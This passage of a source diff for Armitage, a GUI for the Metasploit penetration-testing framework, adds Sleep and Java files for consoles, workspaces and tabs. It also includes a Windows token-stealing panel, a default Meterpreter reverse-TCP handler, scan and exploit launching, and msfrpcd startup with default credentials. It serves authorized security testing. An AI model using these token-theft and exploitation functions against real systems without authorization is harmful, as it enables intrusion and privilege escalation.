[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), $null];
}
[$graph setGraphPopup: lambda(&targetPopup, \$graph)];
[$graph addActionForKeySetting: "graph.save_screenshot.shortcut", "ctrl pressed P", lambda({
local('$location');
$location = saveFile2($sel => "hosts.png");
if ($location !is $null) {
makeScreenshot($location);
}
}, \$graph)];
let(&makeScreenshot, \$graph);
}

View File

@ -0,0 +1,79 @@
#
# Token Stealing...
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
sub updateTokenList {
local('$queue');
$queue = [new armitage.ConsoleQueue: $client];
[$queue addCommand: $null, "use post/windows/gather/enum_domain_tokens"];
[$queue addCommand: $null, "set SESSION $1"];
[$queue addCommand: "x", "run"];
[$3 setEnabled: 0];
[$3 setText: "Grabbing tokens..."];
[$queue addListener: lambda({
local('@rows $row');
@rows = parseTextTable($3, @("Token Type", "Account Type", "Name", "Domain Admin"));
[$model clear: size(@rows)];
foreach $row (@rows) {
[$model addEntry: $row];
}
[$model fireListeners];
dispatchEvent(lambda({
[$refresh setEnabled: 1];
[$refresh setText: "Refresh"];
}, \$refresh));
[$queue stop];
}, $model => $2, $refresh => $3, \$queue)];
[$queue start];
}
sub stealToken {
local('$dialog $table $model $steal $revert $whoami $refresh');
$dialog = [new JPanel];
[$dialog setLayout: [new BorderLayout]];
($table, $model) = setupTable("Name", @("Token Type", "Account Type", "Name", "Domain Admin"), @());
[$table setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
$steal = [new JButton: "Steal Token"];
[$steal addActionListener: lambda({
local('$value');
$value = [$model getSelectedValue: $table];
oneTimeShow("impersonate_token");
m_cmd($sid, "impersonate_token ' $+ $value $+ '");
}, $sid => $1, \$table, \$model)];
$revert = [new JButton: "Revert to Self"];
[$revert addActionListener: lambda({
oneTimeShow("getuid");
m_cmd($sid, "rev2self");
m_cmd($sid, "getuid");
}, $sid => $1)];
$whoami = [new JButton: "Get UID"];
[$whoami addActionListener: lambda({
oneTimeShow("getuid");
m_cmd($sid, "getuid");
}, $sid => $1)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateTokenList($sid, $model, $refresh);
}, $sid => $1, \$model, \$refresh)];
updateTokenList($1, $model, $refresh);
[$dialog add: center($steal, $revert, $whoami, $refresh), [BorderLayout SOUTH]];
[$frame addTab: "Tokens $1", $dialog, $null, "Tokens " . sessionToHost($1)];
}

View File

@ -0,0 +1,587 @@
#
# Utility Functions for Armitage
#
import console.*;
import armitage.*;
import msf.*;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
import ui.*;
global('$MY_ADDRESS $RPC_CONSOLE');
sub call_async {
if (size(@_) > 2) {
[$1 execute_async: $2, cast(sublist(@_, 2), ^Object)];
}
else {
[$1 execute_async: $2];
}
}
# invokes an RPC call: call($console, "function", arg1, arg2, ...)
sub call {
local('$exception');
try {
if (size(@_) > 2) {
return convertAll([$1 execute: $2, cast(sublist(@_, 2), ^Object)]);
}
else {
return convertAll([$1 execute: $2]);
}
}
catch $exception {
#showError("Something went wrong:\nTried: ". @_ . "\n\nError:\n $+ $exception");
showError("Something went wrong:\n $+ $2 $+ \n\nError:\n $+ $exception");
}
}
# recurses through Java/Sleep data structures and makes sure everything is a Sleep data structure.
sub convertAll {
if ($1 is $null) {
return $1;
}
else if ($1 isa ^Map) {
return convertAll(copy([SleepUtils getHashWrapper: $1]));
}
else if ($1 isa ^Collection) {
return convertAll(copy([SleepUtils getArrayWrapper: $1]));
}
else if (-isarray $1 || -ishash $1) {
local('$key $value');
foreach $key => $value ($1) {
$value = convertAll($value);
}
}
return $1;
}
# cleans the prompt text from an MSF RPC call
sub cleanText {
return tr($1, "\x01\x02", "");
}
sub createDisplayTab {
local('$console $host $queue $file');
$queue = [new ConsoleQueue: $client];
$console = [new Console: $preferences];
[$queue setDisplay: $console];
[new QueueTabCompletion: $console, $queue];
logCheck($console, iff($host, $host, "all"), iff($file, $file, strrep($1, " ", "_")));
[$frame addTab: $1, $console, lambda({ [$queue destroy]; }, \$queue)];
return $queue;
}
# creates a new metasploit console (with all the trimmings)
sub createConsolePanel {
local('$console $result $thread $1');
$console = [new Console: $preferences];
$result = call($client, "console.create");
$thread = [new ConsoleClient: $console, $client, "console.read", "console.write", "console.destroy", $result['id'], $1];
[$thread setMetasploitConsole];
[$thread setSessionListener: {
local('$session $sid');
$sid = [$1 getActionCommand];
$session = sessionData($sid);
if ($session is $null) {
showError("Session $sid does not exist");
}
else if ($session['desc'] eq "Meterpreter") {
createMeterpreterTab($sid);
}
else {
createShellSessionTab(\$session, \$sid);
}
}];
[$console addWordClickListener: lambda({
local('$word');
$word = [$1 getActionCommand];
if ($word in @exploits || $word in @auxiliary) {
[$thread sendString: "use $word $+ \n"];
}
else if ($word in @payloads) {
[$thread sendString: "set PAYLOAD $word $+ \n"];
}
else if (-exists $word && !$REMOTE) {
saveFile($word);
}
}, \$thread)];
return @($result['id'], $console, $thread);
}
sub createConsoleTab {
local('$id $console $thread $1 $2 $host $file');
($id, $console, $thread) = createConsolePanel(
iff([$preferences getProperty: "armitage.no_msf_banner.boolean", "false"] eq "true", 1, $2)
);
if ($host is $null && $file is $null) {
logCheck($console, "all", "console");
}
else {
logCheck($console, $host, $file);
}
dispatchEvent(lambda({
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
}, $title => $1, \$console, \$thread, \$host));
return $thread;
}
sub setg {
%MSF_GLOBAL[$1] = $2;
call_async($client, "core.setg", $1, $2);
}
sub createDefaultHandler {
warn("Creating a default reverse handler...");
# setup a handler for meterpreter
setg("LPORT", randomPort());
call_async($client, "module.execute", "exploit", "multi/handler", %(
PAYLOAD => "windows/meterpreter/reverse_tcp",
LHOST => "0.0.0.0",
ExitOnSession => "false"
));
}
sub setupHandlers {
find_job("Exploit: multi/handler", {
if ($1 == -1) {
createDefaultHandler();
}
else if ('LPORT' !in %MSF_GLOBAL) {
createDefaultHandler();
}
});
}
# creates the metasploit console.
sub createConsole {
local('$r');
$r = call($1, "console.create");
if ($r !is $null && $r['id'] !is $null) {
call($1, "console.read", $r['id'] . "");
return $r['id'] . "";
}
else {
warn("Create console failed");
}
}
sub getWorkspaces
{
return sorta(filter({ return $1["name"]; }, call($mclient, "db.workspaces")["workspaces"]));
}
# creates a new console and execs a cmd in it.
# cmd_safe("command to execute");
sub cmd_safe {
local('$queue');
$queue = [new ConsoleQueue: $client];
[$queue addListener: $2];
[$queue start];
[$queue addCommand: "x", $1];
[$queue stop];
}
sub createNmapFunction {
return lambda({
local('$address');
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(" ", [$targets getSelectedHosts]));
if ($address eq "") { return; }
local('$queue');
$queue = createDisplayTab("nmap");
elog("started a scan: nmap $args $address");
[$queue addCommand: "x", "db_nmap $args $address"];
[$queue addListener: {
showError("Scan Complete!\n\nUse Attacks->Find Attacks to suggest\napplicable exploits for your targets.");
}];
[$queue start];
}, $args => $1);
}
sub getBindAddress {
local('$queue');
if ('LHOST' in %MSF_GLOBAL) {
$MY_ADDRESS = %MSF_GLOBAL['LHOST'];
setupHandlers();
warn("Used the incumbent: $MY_ADDRESS");
}
else {
$queue = [new ConsoleQueue: $client];
[$queue addCommand: "x", "use windows/meterpreter/reverse_tcp"];
[$queue addListener: lambda({
local('$address');
$address = convertAll([$queue tabComplete: "setg LHOST "]);
$address = split('\\s+', $address[0])[2];
if ($address eq "127.0.0.1") {
[SwingUtilities invokeLater: {
local('$address');
$address = ask("Could not determine attack computer IP\nWhat is it?");
if ($address ne "") {
$MY_ADDRESS = $address;
thread({
setg("LHOST", $MY_ADDRESS);
setupHandlers();
});
}
}];
}
else {
warn("Used the tab method: $address");
setg("LHOST", $address);
setupHandlers();
$MY_ADDRESS = $address;
}
}, \$queue)];
[$queue start];
[$queue stop];
}
}
sub randomPort {
return int( 1024 + (rand() * 1024 * 30) );
}
sub scanner {
return lambda({
launch_dialog("Scan ( $+ $type $+ )", "auxiliary", "scanner/ $+ $type", $host);
}, $sid => $2, $host => $3, $type => $1);
}
sub startMetasploit {
local('$exception $user $pass $port');
($user, $pass, $port) = @_;
try {
println("Starting msfrpcd for you.");
if (isWindows()) {
local('$handle $data $msfdir');
$msfdir = [$preferences getProperty: "armitage.metasploit_install.string", ""];
while (!-exists $msfdir || $msfdir eq "" || !-exists getFileProper($msfdir, "msf3")) {
$msfdir = chooseFile($title => "Where is Metasploit installed?", $dirsonly => 1);
if ($msfdir eq "") {
[System exit: 0];
}
if (charAt($msfdir, -1) ne "\\") {
$msfdir = "$msfdir $+ \\";
}
[$preferences setProperty: "armitage.metasploit_install.string", $msfdir];
savePreferences();
}
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null];
$data = join("\r\n", readAll($handle, -1));
closef($handle);
$handle = openf(">msfrpcd.bat");
writeb($handle, strrep($data, '$$USER$$', $1, '$$PASS$$', $2, '$$BASE$$', $msfdir, '$$PORT$$', $port));
closef($handle);
deleteOnExit("msfrpcd.bat");
$msfrpc_handle = exec(@("cmd.exe", "/C", getFileProper("msfrpcd.bat")), convertAll([System getenv]));
}
else {
$msfrpc_handle = exec("msfrpcd -f -a 127.0.0.1 -U $user -P $pass -S -p $port", convertAll([System getenv]));
}
# consume bytes so msfrpcd doesn't block when the output buffer is filled
fork({
[[Thread currentThread] setPriority: [Thread MIN_PRIORITY]];
while (!-eof $msfrpc_handle) {
#
# check if process is dead...
#
try {
[[$msfrpc_handle getSource] exitValue];
local('$msg $text');
$msg = [SleepUtils getIOHandle: resource("resources/error.txt"), $null];
$text = readb($msg, -1);
closef($msg);
if (!askYesNo($text, "Uh oh!")) {
[gotoURL("http://www.fastandeasyhacking.com/nomsfrpcd")];
}
return;
}
catch $ex {
# ignore this...
}
#
# check for data to read...
#
if (available($msfrpc_handle) > 0) {
[[System out] print: readb($msfrpc_handle, available($msfrpc_handle))];
}
if (available($msfrpc_error) > 0) {
[[System err] print: readb($msfrpc_error, available($msfrpc_error))];
}
sleep(1024);
}
println("msfrpcd is shut down!");
}, \$msfrpc_handle, $msfrpc_error => [SleepUtils getIOHandle: [[$msfrpc_handle getSource] getErrorStream], $null], \$frame);
}
catch $exception {
showError("Couldn't launch MSF\n" . [$exception getMessage]);
}
}
sub connectDialog {
# in case we ended up back here... let's kill this handle
if ($msfrpc_handle) {
closef($msfrpc_handle);
$msfrpc_handle = $null;
}
local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper');
$dialog = window("Connect...", 0, 0);
# setup our nifty form fields..
$host = [new ATextField: [$preferences getProperty: "connect.host.string", "127.0.0.1"], 20];
$port = [new ATextField: [$preferences getProperty: "connect.port.string", "55553"], 10];
$user = [new ATextField: [$preferences getProperty: "connect.user.string", "msf"], 20];
$pass = [new ATextField: [$preferences getProperty: "connect.pass.string", "test"], 20];
$button = [new JButton: "Connect"];
[$button setToolTipText: "<html>Connects to Metasploit.</html>"];
$help = [new JButton: "Help"];
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
$cancel = [new JButton: "Exit"];
# lay them out
$center = [new JPanel];
[$center setLayout: [new GridLayout: 4, 1]];
[$center add: label_for("Host", 70, $host)];
[$center add: label_for("Port", 70, $port)];
[$center add: label_for("User", 70, $user)];
[$center add: label_for("Pass", 70, $pass)];
[$dialog add: $center, [BorderLayout CENTER]];
[$dialog add: center($button, $help), [BorderLayout SOUTH]];
[$button addActionListener: lambda({
[$dialog setVisible: 0];
connectToMetasploit([$host getText], [$port getText], [$user getText], [$pass getText]);
if ([$host getText] eq "127.0.0.1") {
try {
closef(connect("127.0.0.1", [$port getText], 1000));
}
catch $ex {
if (!askYesNo("A Metasploit RPC server is not running or\nnot accepting connections yet. Would you\nlike me to start Metasploit's RPC server\nfor you?", "Start Metasploit?")) {
startMetasploit([$user getText], [$pass getText], [$port getText]);
}
}
}
}, \$dialog, \$host, \$port, \$user, \$pass)];
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
[$cancel addActionListener: {
[System exit: 0];
}];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setVisible: 1];
}
sub _elog {
if ($client !is $mclient) {
call_async($mclient, "armitage.log", $1, $2);
}
else {
call_async($client, "db.log_event", "$2 $+ //", $1);
}
}
sub elog {
local('$2');
if ($2 is $null) {
$2 = $MY_ADDRESS;
}
_elog($1, $2);
}
sub module_execute {
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "true") {
local('$host');
# for logging purposes, we should figure out the remote host being targeted
if ("RHOST" in $3) {
$host = $3["RHOST"];
}
else if ("SESSION" in $3) {
$host = sessionToHost($3["SESSION"]);
}
else {
$host = "all";
}
# okie then, let's create a console and execute all of this stuff...
local('$queue $key $value');
$queue = createDisplayTab($1, \$host);
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
foreach $key => $value ($3) {
[$queue addCommand: $null, "set $key $value"];
}
if ($1 eq "exploit") {
[$queue addCommand: $null, "exploit -j"];
}
else {
[$queue addCommand: $null, "run -j"];
}
[$queue start];
}
else {
call_async($client, "module.execute", $1, $2, $3);
}
}
sub rtime {
return formatDate($1 * 1000L, 'yyyy-MM-dd HH:mm:ss Z');
}
sub deleteOnExit {
[[new java.io.File: getFileProper($1)] deleteOnExit];
}
sub listDownloads {
this('%types');
local('$files $root $findf $hosts $host');
$files = @();
$root = $1;
$findf = {
if (-isDir $1) {
return map($this, ls($1));
}
else {
# determine the file content type
local('$type $handle $data $path');
if ($1 in %types) {
$type = %types[$1];
}
else {
$handle = openf($1);
$data = readb($handle, 1024);
closef($handle);
if ($data ismatch '\p{ASCII}*') {
$type = "text/plain";
}
else {
$type = "binary";
}
%types[$1] = $type;
}
# figure out the path...
$path = strrep(getFileParent($1), $root, '');
if (strlen($path) >= 2) {
$path = substr($path, 1);
}
# return a description of the file.
return %(
host => $host,
name => getFileName($1),
size => lof($1),
updated_at => lastModified($1),
location => $1,
path => $path,
content_type => $type
);
}
};
$hosts = map({ return getFileName($1); }, ls($root));
foreach $host ($hosts) {
addAll($files, flatten(
map(
lambda($findf, $root => getFileProper($root, $host), \$host, \%types),
ls(getFileProper($root, $host))
)));
}
return $files;
}
# parseTextTable("string", @(columns))
sub parseTextTable {
local('$cols $regex $line @results $template %r $row $col $matches');
# create the regex to hunt for our table...
$cols = copy($2);
map({ $1 = '(' . $1 . '\s+)'; }, $cols);
$cols[-1] = '(' . $2[-1] . '.*)';
$regex = join("", $cols);
# search for stuff
foreach $line (split("\n", $1)) {
$line = ["$line" trim];
if ($line ismatch $regex) {
# ok... construct a template to parse our fixed width rows.
$matches = matched();
map({ $1 = 'Z' . strlen($1); }, $matches);
$matches[-1] = 'Z*';
$template = join("", $matches);
}
else if ($line eq "" && $template !is $null) {
# oops, row is empty? we're done then...
return @results;
}
else if ($template !is $null && "---*" !iswm $line) {
# extract the row from the template and add to our results
$row = map({ return [$1 trim]; }, unpack($template, $line));
%r = %();
foreach $col ($2) {
%r[$col] = iff(size($row) > 0, shift($row), "");
}
push(@results, %r);
}
}
return @results;
}
sub initConsolePool {
local('$pool');
$pool = [new ConsolePool: $client];
[$client addHook: "console.allocate", $pool];
[$client addHook: "console.release", $pool];
[$client addHook: "console.release_and_destroy", $pool];
}

View File

@ -0,0 +1,223 @@
#
# CRUD for Dynamic Workspaces
#
import msf.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.imageio.*;
import ui.*;
sub newWorkspace {
workspaceDialog(%(), @($1, $2), $title => "New Workspace", $button => "Add", $enable => 1);
}
sub editWorkspace {
workspaceDialog($1, @($2, $3), $title => "Edit Workspace", $button => "Save", $enable => $null);
}
sub updateWorkspaceList {
local('$table $model $workspace');
($table, $model) = @_;
[$model clear: 16];
foreach $workspace (workspaces()) {
[$model addEntry: $workspace];
}
[$model fireListeners];
}
sub listWorkspaces {
local('$dialog $table $model $add $edit $delete $activate');
$dialog = [new JPanel];
[$dialog setLayout: [new BorderLayout]];
($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @());
updateWorkspaceList($table, $model);
[$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
$activate = [new JButton: "Activate"];
$add = [new JButton: "Add"];
$edit = [new JButton: "Edit"];
$delete = [new JButton: "Remove"];
[$add addActionListener: lambda({
newWorkspace($table, $model);
}, \$table, \$model)];
[$activate addActionListener: lambda({
local('$sel $temp');
$sel = selected($table, $model, "name");
set_workspace($sel);
}, \$table, \$model)];
[$delete addActionListener: lambda({
local('%names $workspace @workspaces');
putAll(%names, [$model getSelectedValues: $table], { return 1; });
@workspaces = workspaces();
foreach $workspace (@workspaces) {
if ($workspace['name'] in %names) {
remove();
}
}
saveWorkspaces(@workspaces);
updateWorkspaceList($table, $model);
}, \$table, \$model)];
[$edit addActionListener: lambda({
local('$sel $temp');
$sel = selected($table, $model, "name");
$temp = search(workspaces(), lambda({
return iff($1["name"] eq $name, $1);
}, $name => $sel));
if ($temp !is $null) {
editWorkspace($temp, $table, $model);
}
}, \$table, \$model)];
[$dialog add: center($activate, $add, $edit, $delete), [BorderLayout SOUTH]];
[$frame addTab: "Workspaces", $dialog, $null];
}
sub workspaceDialog {
local('$table $model');
($table, $model) = $2;
local('$dialog $name $host $ports $os $button $session');
$dialog = dialog($title, 640, 480);
[$dialog setLayout: [new GridLayout: 6, 1]];
$name = [new ATextField: $1['name'], 16];
[$name setEnabled: $enable];
$host = [new ATextField: $1['hosts'], 16];
$ports = [new ATextField: $1['ports'], 16];
$os = [new ATextField: $1['os'], 16];
$session = [new JCheckBox: "Hosts with sessions only"];
if ($1['session'] eq 1) {
[$session setSelected: 1];
}
$button = [new JButton: $button];
[$dialog add: label_for("Name:", 60, $name)];
[$dialog add: label_for("Hosts:", 60, $host)];
[$dialog add: label_for("Ports:", 60, $ports)];
[$dialog add: label_for("OS:", 60, $os)];
[$dialog add: $session];
[$dialog add: center($button)];
[$dialog pack];
[$dialog show];
[$button addActionListener: lambda({
# yay, we have a dialog...
local('$n $h $p $o $s @workspaces $ws $temp');
$n = [[$name getText] trim];
$h = [strrep([$host getText], '*', '%', '?', '_') trim];
$p = [[$ports getText] trim];
$o = [strrep([$os getText], '*', '%', '?', '_') trim];
$s = [$session isSelected];
# save the new menu
$ws = workspace($n, $h, $p, $o, $s);
@workspaces = workspaces();
foreach $temp (@workspaces) {
if ($temp["name"] eq $n) {
$temp = $ws;
$ws = $null;
}
}
if ($ws !is $null) {
push(@workspaces, $ws);
}
saveWorkspaces(@workspaces);
updateWorkspaceList($table, $model);
[$dialog setVisible: 0];
}, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)];
}
sub reset_workspace {
[$frame setTitle: $TITLE];
thread({
call($mclient, "db.filter", %());
});
}
sub client_workspace_items {
local('$index $workspace');
item($1, 'Manage', 'M', {
listWorkspaces();
});
separator($1);
item($1, "Show All", "S", &reset_workspace);
local('$x $y $workspace $name $title');
$title = [$frame getTitle];
foreach $y => $workspace (workspaces()) {
$x = $y + 1;
$name = $workspace['name'];
if ($title eq "$TITLE - $name") {
item($1, "$x $+ . $+ $name *", $x, lambda({
set_workspace($name);
}, \$name));
}
else {
item($1, "$x $+ . $+ $name", $x, lambda({
set_workspace($name);
}, \$name));
}
# setup a keyboard shortcut for this workspace...
[$frame bindKey: "Ctrl+ $+ $x", lambda({
set_workspace($name);
}, \$name)];
}
# setup a keyboard shortcut for this workspace...
[$frame bindKey: "Ctrl+0", &reset_workspace];
}
sub set_workspace {
local('$x $workspace');
foreach $x => $workspace (workspaces()) {
if ($workspace['name'] eq $1) {
thread(lambda({
call($mclient, "db.filter", $workspace);
}, \$workspace));
[$frame setTitle: "$TITLE - $1"];
return;
}
}
}
sub workspace {
return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5);
}
sub workspaces {
local('$ws @r $name $host $port $os $session $workspace');
$ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]);
foreach $workspace ($ws) {
if ($workspace ne "") {
($name, $host, $port, $os, $session) = split('@@', $workspace);
push(@r, workspace($name, $host, $port, $os, $session));
}
}
return @r;
}
sub saveWorkspaces {
[$preferences setProperty: "armitage.workspaces.menus", join("!!", map({ return join("@@", values($1)); }, $1))];
savePreferences();
}

View File

@ -0,0 +1,8 @@
package armitage;
import javax.swing.JLabel;
public interface Activity {
public void registerLabel(JLabel label);
public void resetNotification();
}

View File

@ -0,0 +1,41 @@
package armitage;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
import java.io.PrintStream;
import java.util.*;
import console.*;
/** A generic multi-feature console for use in the Armitage network attack tool */
public class ActivityConsole extends Console implements Activity {
protected JLabel label;
protected Color original;
public void registerLabel(JLabel l) {
label = l;
original = l.getForeground();
}
public void resetNotification() {
label.setForeground(original);
}
protected void appendToConsole(String _text) {
super.appendToConsole(_text);
if (_text.length() > 0 && label != null && !isShowing()) {
label.setForeground(Color.decode(display.getProperty("tab.highlight.color", "#0000ff")));
}
}
public ActivityConsole(Properties preferences) {
super(preferences);
}
}

View File

@ -0,0 +1,319 @@
package armitage;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.image.*;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import ui.*;
public class ArmitageApplication extends JFrame {
protected JTabbedPane tabs = null;
protected JSplitPane split = null;
protected JMenuBar menus = new JMenuBar();
protected ScreenshotManager screens = null;
protected KeyBindings keys = new KeyBindings();
public void setScreenshotManager(ScreenshotManager m) {
screens = m;
}
public void bindKey(String description, KeyHandler b) {
keys.bind(description, b);
}
public void addMenu(JMenuItem menu) {
menus.add(menu);
}
public JMenuBar getJMenuBar() {
return menus;
}
public void _removeTab(JComponent component) {
tabs.remove(component);
tabs.validate();
}
public void removeTab(final JComponent tab) {
if (SwingUtilities.isEventDispatchThread()) {
_removeTab(tab);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_removeTab(tab);
}
});
}
}
public void setTop(final JComponent top) {
if (SwingUtilities.isEventDispatchThread()) {
_setTop(top);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_setTop(top);
}
});
}
}
public void _setTop(JComponent top) {
split.setTopComponent(top);
split.setDividerLocation(0.50);
split.setResizeWeight(0.50);
split.revalidate();
}
public void addTab(final String title, final JComponent tab, final ActionListener removeListener) {
if (SwingUtilities.isEventDispatchThread()) {
_addTab(title, tab, removeListener, null);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_addTab(title, tab, removeListener, null);
}
});
}
}
public void addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
if (SwingUtilities.isEventDispatchThread()) {
_addTab(title, tab, removeListener, tooltip);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_addTab(title, tab, removeListener, tooltip);
}
});
}
}
private static class ApplicationTab {
public String title;
public JComponent component;
public ActionListener removeListener;
public String toString() {
return title;
}
}
protected LinkedList apptabs = new LinkedList();
public void closeActiveTab() {
JComponent tab = (JComponent)tabs.getSelectedComponent();
if (tab != null) {
removeAppTab(tab, null, new ActionEvent(tab, 0, "boo!"));
}
}
public void addAppTab(String title, JComponent component, ActionListener removeListener) {
ApplicationTab t = new ApplicationTab();
t.title = title;
t.component = component;
t.removeListener = removeListener;
apptabs.add(t);
}
public void popAppTab(Component tab) {
Iterator i = apptabs.iterator();
while (i.hasNext()) {
final ApplicationTab t = (ApplicationTab)i.next();
if (t.component == tab) {
tabs.remove(t.component);
i.remove();
/* pop goes the tab! */
JFrame r = new JFrame(t.title);
r.setIconImages(getIconImages());
r.setLayout(new BorderLayout());
r.add(t.component, BorderLayout.CENTER);
r.pack();
r.setVisible(true);
r.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent ev) {
if (t.removeListener != null)
t.removeListener.actionPerformed(new ActionEvent(ev.getSource(), 0, "close"));
}
});
}
}
}
public void removeAppTab(Component tab, String title, ActionEvent ev) {
Iterator i = apptabs.iterator();
String titleshort = title != null ? title.split(" ")[0] : "%b%";
while (i.hasNext()) {
ApplicationTab t = (ApplicationTab)i.next();
String tshort = t.title != null ? t.title.split(" ")[0] : "%a%";
if (t.component == tab || tshort.equals(titleshort)) {
tabs.remove(t.component);
if (t.removeListener != null)
t.removeListener.actionPerformed(ev);
i.remove();
}
}
}
public void _addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
final Component component = tabs.add("", tab);
final JLabel label = new JLabel(title + " ");
JPanel control = new JPanel();
control.setOpaque(false);
control.setLayout(new BorderLayout());
control.add(label, BorderLayout.CENTER);
if (tab instanceof Activity) {
((Activity)tab).registerLabel(label);
}
JButton close = new JButton("X");
close.setOpaque(false);
close.setContentAreaFilled(false);
close.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
control.add(close, BorderLayout.EAST);
if (tooltip != null) {
close.setToolTipText(tooltip);
}
int index = tabs.indexOfComponent(component);
tabs.setTabComponentAt(index, control);
addAppTab(title, tab, removeListener);
close.addMouseListener(new MouseAdapter() {
public void check(MouseEvent ev) {
if (ev.isPopupTrigger()) {
JPopupMenu menu = new JPopupMenu();
JMenuItem a = new JMenuItem("Open in window", 'O');
a.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
popAppTab(component);
}
});
JMenuItem b = new JMenuItem("Close like tabs", 'C');
b.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
removeAppTab(null, title, ev);
}
});
JMenuItem c = new JMenuItem("Save screenshot", 'S');
c.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
/* capture the current tab in an image */
BufferedImage image = new BufferedImage(tab.getWidth(), tab.getHeight(), BufferedImage.TYPE_4BYTE_ABGR);
Graphics g = image.getGraphics();
tab.paint(g);
g.dispose();
if (screens != null) {
screens.saveScreenshot(image, title);
}
}
});
JMenuItem d = new JMenuItem("Rename Tab", 'R');
d.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
String text = JOptionPane.showInputDialog("Rename tab to:", (label.getText() + "").trim());
if (text != null)
label.setText(text + " ");
}
});
menu.add(a);
menu.add(c);
menu.add(d);
menu.addSeparator();
menu.add(b);
menu.show((Component)ev.getSource(), ev.getX(), ev.getY());
ev.consume();
}
}
public void mouseClicked(MouseEvent ev) {
check(ev);
}
public void mousePressed(MouseEvent ev) {
check(ev);
}
public void mouseReleased(MouseEvent ev) {
check(ev);
}
});
close.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
if ((ev.getModifiers() & ActionEvent.CTRL_MASK) == ActionEvent.CTRL_MASK) {
popAppTab(component);
}
else if ((ev.getModifiers() & ActionEvent.SHIFT_MASK) == ActionEvent.SHIFT_MASK) {
removeAppTab(null, title, ev);
}
else {
removeAppTab(component, null, ev);
}
System.gc();
}
});
component.addComponentListener(new ComponentAdapter() {
public void componentShown(ComponentEvent ev) {
if (component instanceof Activity) {
((Activity)component).resetNotification();
}
component.requestFocusInWindow();
System.gc();
}
});
tabs.setSelectedIndex(index);
component.requestFocusInWindow();
}
public ArmitageApplication() {
super();
tabs = new DraggableTabbedPane();
setLayout(new BorderLayout());
/* place holder */
JPanel panel = new JPanel();
/* add our menubar */
add(menus, BorderLayout.NORTH);
split = new JSplitPane(JSplitPane.VERTICAL_SPLIT, panel, tabs);
split.setOneTouchExpandable(true);
/* add our tabbed pane */
add(split, BorderLayout.CENTER);
/* setup our key bindings */
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys);
/* ... */
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
}

View File

@ -0,0 +1,123 @@
package armitage;
import sleep.runtime.*;
import sleep.interfaces.*;
import sleep.console.*;
import sleep.bridges.*;
import sleep.error.*;
import sleep.engine.*;
import java.util.*;
import java.io.*;
/**
* This class launches Armitage and loads the scripts that are part of it.
*/
public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
public void processScriptWarning(ScriptWarning warning) {
System.out.println(warning);
}
public Scalar evaluate(String name, ScriptInstance script, Stack args) {
try {
InputStream i = this.getClass().getClassLoader().getResourceAsStream(BridgeUtilities.getString(args, ""));
return SleepUtils.getScalar(i);
}
catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
protected ScriptVariables variables = new ScriptVariables();
public void scriptLoaded(ScriptInstance script) {
script.addWarningWatcher(this);
script.setScriptVariables(variables);
}
public void scriptUnloaded(ScriptInstance script) {
}
protected String[] getGUIScripts() {
return new String[] {
"scripts/log.sl",
"scripts/reporting.sl",
"scripts/gui.sl",
"scripts/util.sl",
"scripts/targets.sl",
"scripts/attacks.sl",
"scripts/meterpreter.sl",
"scripts/process.sl",
"scripts/browser.sl",
"scripts/pivots.sl",
"scripts/services.sl",
"scripts/loot.sl",
"scripts/tokens.sl",
"scripts/downloads.sl",
"scripts/shell.sl",
"scripts/screenshot.sl",
"scripts/hosts.sl",
"scripts/passhash.sl",
"scripts/jobs.sl",
"scripts/preferences.sl",
"scripts/modules.sl",
"scripts/workspaces.sl",
"scripts/menus.sl",
"scripts/collaborate.sl",
"scripts/armitage.sl"
};
}
protected String[] getServerScripts() {
return new String[] {
"scripts/util.sl",
"scripts/preferences.sl",
"scripts/reporting.sl",
"scripts/server.sl"
};
}
public ArmitageMain(String[] args) {
Hashtable environment = new Hashtable();
environment.put("&resource", this);
/* set our command line arguments into a var */
variables.putScalar("@ARGV", ObjectUtilities.BuildScalar(false, args));
